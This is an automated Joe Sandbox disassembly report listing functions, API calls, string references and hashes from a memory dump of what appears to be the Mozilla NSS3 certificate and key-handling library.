CERT_DestroyCertificate.NSS3(00000000), ref: 6CD0BBF7

Part of subcall function 6CCE3BF0: TlsGetValue.KERNEL32 ref: 6CCE3C0E
Part of subcall function 6CCE3BF0: EnterCriticalSection.KERNEL32 ref: 6CCE3C23
Part of subcall function 6CCE3BF0: PL_HashTableLookup.NSS3 ref: 6CCE3C3B
Part of subcall function 6CCE3BF0: SECITEM_DupItem_Util.NSS3 ref: 6CCE3C47
Part of subcall function 6CCE3BF0: PR_Unlock.NSS3 ref: 6CCE3C5E

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CD0BC22
free.MOZGLUE(00000000), ref: 6CD0BC35
free.MOZGLUE(?), ref: 6CD0BC7E
PK11_FindKeyByAnyCert.NSS3(00000000,?), ref: 6CD0BC91
CERT_DestroyCertificate.NSS3(00000000), ref: 6CD0BCAA

Strings

@, xrefs: 6CD0BBEF

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$free$CertItem_K11_$CriticalEnterSectionUnlockValue$Alloc_DestroyLockZfree$CertificateHashListLookupTableTokens$AllocArenaCallCondErrorFindFriendlyLoggedMark_NotifyOnceTrustUserWith
String ID: @
API String ID: 645016511-2766056989
Opcode ID: a8e9515369e21396812165372aa4ba9c3d0ca1dcec65762d7fdff15f9bbb34cb
Instruction ID: 802e7ca17ec80812c5dfde62b1d4a354c64b5a8e0d908de97fc4d99542bd3900
Opcode Fuzzy Hash: a8e9515369e21396812165372aa4ba9c3d0ca1dcec65762d7fdff15f9bbb34cb
Instruction Fuzzy Hash: E7B1A5B1A08311AFD700DF29DC81A6A77E4AF85718F04452DEC89977A1FB31E909C7A2

Function 6CCEDDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CCEDDDE

Part of subcall function 6CD40FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CCE87ED,00000800,6CCDEF74,00000000), ref: 6CD41000
Part of subcall function 6CD40FF0: PR_NewLock.NSS3(?,00000800,6CCDEF74,00000000), ref: 6CD41016
Part of subcall function 6CD40FF0: PL_InitArenaPool.NSS3(00000000,security,6CCE87ED,00000008,?,00000800,6CCDEF74,00000000), ref: 6CD4102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CCEDDF5

Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD410F3
Part of subcall function 6CD410C0: EnterCriticalSection.KERNEL32(?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4110C
Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41141
Part of subcall function 6CD410C0: PR_Unlock.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41182
Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CCEDE34
PR_Now.NSS3 ref: 6CCEDE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CCEDE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCEDEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CCEDEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CCEDED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CCEDEF0
PR_smprintf.NSS3(6CE1AAF9,(NULL) (Validity Unknown)), ref: 6CCEDF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCEDF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CCEDF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CCEDF33
free.MOZGLUE(00000000), ref: 6CCEDF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCEDF4B
free.MOZGLUE(00000000), ref: 6CCEDF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CCEDF8E

Strings

(NULL) (Validity Unknown), xrefs: 6CCEDEFA
{???}, xrefs: 6CCEDE8B
%s%s, xrefs: 6CCEDEEB

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: fedbdf530be7ff8c637e334b3f0f98a2507c3a46e70e201b6bff792515c885c0
Instruction ID: 270760e80f73f929f9dd5073f49385cc7d62d01933e217d8ac7186c8fc6ed1c0
Opcode Fuzzy Hash: fedbdf530be7ff8c637e334b3f0f98a2507c3a46e70e201b6bff792515c885c0
Instruction Fuzzy Hash: 43519FB1E002159BDB10DF659C41AAF7AB9AF8A359F144029EC09E7B10F731E915CBF2

Function 6CD108F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6CD1094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD10953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6CD1096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6CD10974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CD1098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CD10995

Part of subcall function 6CD11800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CD11860
Part of subcall function 6CD11800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6CD109BF), ref: 6CD11897
Part of subcall function 6CD11800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CD118AA
Part of subcall function 6CD11800: memcpy.VCRUNTIME140(?,?,?), ref: 6CD118C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CD10B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CD10B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CD10B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6CD10B78

Strings

base_nonce, xrefs: 6CD10B06
psk_id_hash, xrefs: 6CD109B5
exp, xrefs: 6CD10B36
key, xrefs: 6CD10ACB
info_hash, xrefs: 6CD109E0
secret, xrefs: 6CD10A88

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: 097452ad40196964f82423fed338ad0c8a215cbfd92363559f5b3444dd274297
Instruction ID: 8009f4e11a5de40e4e4ce94ce2d1b0d9fe4e38aa216dd14948bb8253353077e5
Opcode Fuzzy Hash: 097452ad40196964f82423fed338ad0c8a215cbfd92363559f5b3444dd274297
Instruction Fuzzy Hash: D9818A75608345AFC700DF55D88099AF7E8FF8C708F048919F99987B61E731EA19CBA2

Function 6CD22D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CD22DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CD22E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CD22E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CD22E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CCF4F1C,?,-00000001,00000000,?), ref: 6CD22E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CCF4F1C,?,-00000001,00000000), ref: 6CD22E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CD22EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CD22EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CD22EF8
PR_Unlock.NSS3(?), ref: 6CD22F62
TlsGetValue.KERNEL32 ref: 6CD22F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CD22F9E
PR_Unlock.NSS3(?), ref: 6CD22FCA
TlsGetValue.KERNEL32 ref: 6CD2301A
EnterCriticalSection.KERNEL32(?), ref: 6CD2302E
PR_Unlock.NSS3(?), ref: 6CD23066
PR_SetError.NSS3(00000000,00000000), ref: 6CD23085
PR_Unlock.NSS3(?), ref: 6CD230EC
TlsGetValue.KERNEL32 ref: 6CD2310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CD23124
PR_Unlock.NSS3(?), ref: 6CD2314C

Part of subcall function 6CD09180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CD3379E,?,6CD09568,00000000,?,6CD3379E,?,00000001,?), ref: 6CD0918D
Part of subcall function 6CD09180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CD3379E,?,6CD09568,00000000,?,6CD3379E,?,00000001,?), ref: 6CD091A0

Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07AD
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07CD
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07D6
Part of subcall function 6CCD07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CC6204A), ref: 6CCD07E4
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,6CC6204A), ref: 6CCD0864
Part of subcall function 6CCD07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CCD0880
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,6CC6204A), ref: 6CCD08CB
Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(?,?,6CC6204A), ref: 6CCD08D7
Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(?,?,6CC6204A), ref: 6CCD08FB

PR_SetError.NSS3(00000000,00000000), ref: 6CD2316D

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 4946f5b22e9290846b9700952aa9a6a1f09e55d8479e6fce9d7d57c4a5ba392e
Instruction ID: a571ebd8fbca6d9ac23a7d5d1c1b6428050c701e722250362474209736dad899
Opcode Fuzzy Hash: 4946f5b22e9290846b9700952aa9a6a1f09e55d8479e6fce9d7d57c4a5ba392e
Instruction Fuzzy Hash: 29F18BB1E00209EFDF01DF68D884A9ABBB8BF0931CF144169ED04A7721E735E995CB91

Function 6CD09FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CD09FBE

Part of subcall function 6CCE2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CCE2F0A
Part of subcall function 6CCE2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CCE2F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CD0A015

Part of subcall function 6CD21940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CD2563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CD2195C
Part of subcall function 6CD21940: EnterCriticalSection.KERNEL32(?,?,6CD2563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CCFEAC5,00000001), ref: 6CD21970
Part of subcall function 6CD21940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CCFEAC5,00000001,?,6CCFCE9B,00000001,6CCFEAC5), ref: 6CD219A0

PL_FreeArenaPool.NSS3(?), ref: 6CD0A067
PR_CallOnce.NSS3(6CE42AA4,6CD412D0), ref: 6CD0A055

Part of subcall function 6CC64C70: TlsGetValue.KERNEL32(?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64C97
Part of subcall function 6CC64C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64CB0
Part of subcall function 6CC64C70: PR_Unlock.NSS3(?,?,?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD0A07E
PR_CallOnce.NSS3(6CE42AA4,6CD412D0), ref: 6CD0A0B1
PL_FreeArenaPool.NSS3(?), ref: 6CD0A0C7
PL_FinishArenaPool.NSS3(?), ref: 6CD0A0CF
PR_CallOnce.NSS3(6CE42AA4,6CD412D0), ref: 6CD0A12E
PL_FreeArenaPool.NSS3(?), ref: 6CD0A140
PL_FinishArenaPool.NSS3(?), ref: 6CD0A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD0A158
PL_FinishArenaPool.NSS3(?), ref: 6CD0A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CD0A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CD0A1B2
free.MOZGLUE(00000000), ref: 6CD0A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CD0A1D6

Part of subcall function 6CD255E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CCFEAC5,00000001,?,6CCFCE9B,00000001,6CCFEAC5,00000003,-00000004,00000000,?,6CCFEAC5), ref: 6CD25627
Part of subcall function 6CD255E0: PR_CallOnce.NSS3(6CE42AA4,6CD412D0,?,?,?,?,?,?,?,?,?,?,6CCFEAC5,00000001,?,6CCFCE9B), ref: 6CD2564F
Part of subcall function 6CD255E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CCFEAC5,00000001), ref: 6CD25661
Part of subcall function 6CD255E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CCFEAC5), ref: 6CD256AF

Strings

security, xrefs: 6CD0A00F

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 8616b6c95a75a98c671d1c1677d7f9174c3b46ec2121e02e4119fc98077407f8
Instruction ID: 69deeed9a64c191818164bc3f245a8359dd0dd35cf9f2959a54f1a4908b6a9cf
Opcode Fuzzy Hash: 8616b6c95a75a98c671d1c1677d7f9174c3b46ec2121e02e4119fc98077407f8
Instruction Fuzzy Hash: 5051E875F00209ABEB00DFA8DC45BAF7374AF4670CF104129E90DAAB62F7759509C7A2

Function 6CD26CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD26910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CD26943
Part of subcall function 6CD26910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CD26957
Part of subcall function 6CD26910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CD26972
Part of subcall function 6CD26910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CD26983
Part of subcall function 6CD26910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CD269AA
Part of subcall function 6CD26910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CD269BE
Part of subcall function 6CD26910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CD269D2
Part of subcall function 6CD26910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CD269DF
Part of subcall function 6CD26910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CD26A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CD26D8C
free.MOZGLUE(00000000), ref: 6CD26DC5
free.MOZGLUE(?), ref: 6CD26DD6
free.MOZGLUE(?), ref: 6CD26DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CD26E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CD26E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CD26E72
free.MOZGLUE(?), ref: 6CD26EA7
free.MOZGLUE(?), ref: 6CD26EC4
free.MOZGLUE(?), ref: 6CD26ED5
free.MOZGLUE(00000000), ref: 6CD26EE3
free.MOZGLUE(?), ref: 6CD26EF4
free.MOZGLUE(?), ref: 6CD26F08
free.MOZGLUE(00000000), ref: 6CD26F35
free.MOZGLUE(?), ref: 6CD26F44
free.MOZGLUE(?), ref: 6CD26F5B
free.MOZGLUE(00000000), ref: 6CD26F65

Part of subcall function 6CD26C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CD2781D,00000000,6CD1BE2C,?,6CD26B1D,?,?,?,?,00000000,00000000,6CD2781D), ref: 6CD26C40
Part of subcall function 6CD26C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CD2781D,?,6CD1BE2C,?), ref: 6CD26C58
Part of subcall function 6CD26C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CD2781D), ref: 6CD26C6F
Part of subcall function 6CD26C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CD26C84
Part of subcall function 6CD26C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CD26C96
Part of subcall function 6CD26C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CD26CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CD26F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CD26FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CD26FF4

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: b5648865a5e7ef83354c14fc938b7fc1443b8492430a6f94d0dd6667c5cdc088
Instruction ID: 2be18727ed9a7429ed717c518873bce62ffcf5955820457e6984d45f060a3292
Opcode Fuzzy Hash: b5648865a5e7ef83354c14fc938b7fc1443b8492430a6f94d0dd6667c5cdc088
Instruction Fuzzy Hash: B7B16FB0E01319DFDF10DBA5D884B9EBBB4AF0534CF144124EA15E7A60E739E916CBA1

Function 6CD24C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CD24C4C
EnterCriticalSection.KERNEL32(?), ref: 6CD24C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CD24CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CD24CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CD24CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD24D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD24D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CD24DB7

Part of subcall function 6CD8DD70: TlsGetValue.KERNEL32 ref: 6CD8DD8C
Part of subcall function 6CD8DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CD8DDB4

Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07AD
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07CD
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07D6
Part of subcall function 6CCD07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CC6204A), ref: 6CCD07E4
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,6CC6204A), ref: 6CCD0864
Part of subcall function 6CCD07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CCD0880
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,6CC6204A), ref: 6CCD08CB
Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(?,?,6CC6204A), ref: 6CCD08D7
Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(?,?,6CC6204A), ref: 6CCD08FB

TlsGetValue.KERNEL32 ref: 6CD24DD7
EnterCriticalSection.KERNEL32(?), ref: 6CD24DEC
PR_Unlock.NSS3(?), ref: 6CD24E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CD24E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD24E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CD24E71
free.MOZGLUE(00000000), ref: 6CD24E7A
PR_Unlock.NSS3(?), ref: 6CD24EA2
TlsGetValue.KERNEL32 ref: 6CD24EC1
EnterCriticalSection.KERNEL32(?), ref: 6CD24ED6
PR_Unlock.NSS3(?), ref: 6CD24F01
free.MOZGLUE(00000000), ref: 6CD24F2A

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 08ff3b90f3f69765871cb6b4811c9cc05a79aff97bea0aa733d93256f716f6bb
Instruction ID: 028945f867929a4a2e4f20911465cb380911152ccf932a473a695dade88b5bc8
Opcode Fuzzy Hash: 08ff3b90f3f69765871cb6b4811c9cc05a79aff97bea0aa733d93256f716f6bb
Instruction Fuzzy Hash: BFB10471B00205DFEB10EF68D844AAA77B4BF4531CF044125EE1597B60E738E965CBD2

Function 6CD2FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6CD276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD2FFB4

Part of subcall function 6CDA98D0: calloc.MOZGLUE(00000001,00000084,6CCD0936,00000001,?,6CCD102C), ref: 6CDA98E5

PR_NewLock.NSS3(?,?,6CD276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD2FFC6

Part of subcall function 6CDA98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CDA9946
Part of subcall function 6CDA98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC616B7,00000000), ref: 6CDA994E
Part of subcall function 6CDA98D0: free.MOZGLUE(00000000), ref: 6CDA995E

PR_NewLock.NSS3(?,?,6CD276C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF75C2,00000000), ref: 6CD2FFD6
